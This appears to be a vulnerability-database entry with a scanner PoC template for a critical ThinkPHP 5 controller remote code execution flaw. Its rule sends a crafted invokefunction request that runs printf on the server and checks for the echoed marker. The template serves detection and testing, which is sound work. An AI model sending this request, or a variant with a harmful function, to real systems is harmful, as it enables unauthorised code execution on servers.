thinkphp5-controller-rce: thinkphp5-controller-rce

2025-08-01 thinkphp5 PoC Public

Description

thinkphp5-controller-rce

PoC

id: thinkphp5-controller-rce

info:
  name: thinkphp5-controller-rce
  author: daffainfo
  severity: critical
  description: thinkphp5-controller-rce
  reference:
    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce

rules:
    r0:
        request:
            method: GET
            path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
        expression: response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities